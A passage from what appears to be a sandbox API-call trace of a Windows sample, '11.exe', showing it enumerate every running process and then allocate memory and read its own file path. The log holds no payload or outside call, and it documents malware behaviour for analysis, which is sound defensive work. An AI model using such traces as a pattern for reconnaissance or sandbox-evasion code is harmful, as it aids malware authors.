1 [0188.529] lstrlenW (lpString="winlogon.exe") returned 12 [0188.529] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0188.529] lstrlenW (lpString="services.exe") returned 12 [0188.529] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0188.530] lstrlenW (lpString="lsass.exe") returned 9 [0188.530] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.531] lstrlenW (lpString="svchost.exe") returned 11 [0188.532] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0188.532] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0188.532] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0188.533] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0188.533] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.534] lstrlenW (lpString="svchost.exe") returned 11 [0188.534] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0188.535] lstrlenW (lpString="dwm.exe") returned 7 [0188.535] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.536] lstrlenW (lpString="svchost.exe") returned 11 [0188.536] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.556] lstrlenW (lpString="svchost.exe") returned 11 [0188.556] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.557] lstrlenW (lpString="svchost.exe") returned 11 [0188.557] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.558] lstrlenW (lpString="svchost.exe") returned 11 [0188.558] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.559] lstrlenW (lpString="svchost.exe") returned 11 [0188.559] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.559] lstrlenW (lpString="svchost.exe") returned 11 [0188.559] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.560] lstrlenW (lpString="svchost.exe") returned 11 [0188.560] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.561] lstrlenW (lpString="svchost.exe") returned 11 [0188.561] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.562] lstrlenW (lpString="svchost.exe") returned 11 [0188.562] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0188.562] lstrlenW (lpString="spoolsv.exe") returned 11 [0188.562] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.563] lstrlenW (lpString="svchost.exe") returned 11 [0188.563] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.564] lstrlenW (lpString="svchost.exe") returned 11 [0188.564] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0188.565] lstrlenW (lpString="audiodg.exe") returned 11 [0188.565] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0188.567] lstrlenW (lpString="sihost.exe") returned 10 [0188.567] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.567] lstrlenW (lpString="svchost.exe") returned 11 [0188.567] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0188.569] lstrlenW (lpString="taskhostw.exe") returned 13 [0188.569] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0188.569] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0188.569] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0188.570] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0188.570] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0188.571] lstrlenW (lpString="explorer.exe") returned 12 [0188.571] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0188.572] lstrlenW (lpString="Memory Compression") returned 18 [0188.572] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0188.573] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0188.573] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0188.581] lstrlenW (lpString="SearchUI.exe") returned 12 [0188.581] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0188.581] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0188.581] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0188.583] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0188.583] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0188.584] lstrlenW (lpString="entering.exe") returned 12 [0188.584] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0188.585] lstrlenW (lpString="literally.exe") returned 13 [0188.585] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0188.585] lstrlenW (lpString="prep.exe") returned 8 [0188.585] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0188.586] lstrlenW (lpString="homeless.exe") returned 12 [0188.586] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0188.587] lstrlenW (lpString="tips.exe") returned 8 [0188.587] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0188.588] lstrlenW (lpString="rhode_cow.exe") returned 13 [0188.588] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0188.589] lstrlenW (lpString="discount.exe") returned 12 [0188.589] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0188.591] lstrlenW (lpString="littleclosest.exe") returned 17 [0188.591] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0188.594] lstrlenW (lpString="compact.exe") returned 11 [0188.594] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0188.595] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0188.595] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0188.596] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0188.596] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0188.597] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0188.597] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0188.597] lstrlenW (lpString="vincentkills.exe") returned 16 [0188.597] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0188.603] lstrlenW (lpString="armstrong.exe") returned 13 [0188.603] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0188.604] lstrlenW (lpString="superb_guilty.exe") returned 17 [0188.604] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0188.604] lstrlenW (lpString="conditional employer.exe") returned 24 [0188.604] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0188.610] lstrlenW (lpString="middle shown.exe") returned 16 [0188.610] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0188.611] lstrlenW (lpString="forced_online.exe") returned 17 [0188.611] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0188.612] lstrlenW (lpString="knitting.exe") returned 12 [0188.612] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0188.732] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0188.732] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0188.733] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0188.733] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0188.734] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0188.734] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.735] lstrlenW (lpString="svchost.exe") returned 11 [0188.735] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0188.737] lstrlenW (lpString="11.exe") returned 6 [0188.738] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0188.741] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0188.741] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0188.742] lstrlenW (lpString="conhost.exe") returned 11 [0188.742] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0188.743] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0188.743] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0188.743] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0188.743] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0188.744] lstrlenW (lpString="WMIADAP.exe") returned 11 [0188.744] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0188.745] lstrlenW (lpString="11.exe") returned 6 [0188.745] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 0 [0188.748] CloseHandle (hObject=0x220) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79fc40 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79f808 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79f278 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79f258 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79e910 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79df60 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79f1f8 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79f0d8 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5748 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c56d0 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79efb8 | out: hHeap=0x790000) returned 1 [0188.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5810 | out: hHeap=0x790000) returned 1 [0188.748] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7cbde0 [0188.749] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7dbde8 [0188.749] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9ec0 [0188.749] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9ec0, Size=0x20) returned 0x7c55e0 [0188.749] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c55e0, Size=0x40) returned 0x79f928 [0188.750] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ca0d0 [0188.750] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca0d0, Size=0x20) returned 0x7c5680 [0188.750] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9fe0 [0188.750] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9fe0, Size=0x20) returned 0x7c5770 [0188.750] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9ec0 [0188.750] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9ec0, Size=0x20) returned 0x7c5748 [0188.750] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5748, Size=0x40) returned 0x79f8e0 [0188.750] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7dbde8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe")) returned 0x1e [0188.750] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7ebdf0 [0188.750] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7fbdf8 [0188.751] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9e18 [0188.751] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9e18, Size=0x20) returned 0x7c5518 [0188.751] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5518, Size=0x40) returned 0x79fc40 [0188.751] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fc40, Size=0x80) returned 0x80c268 [0188.751] RtlReAllocateHeap 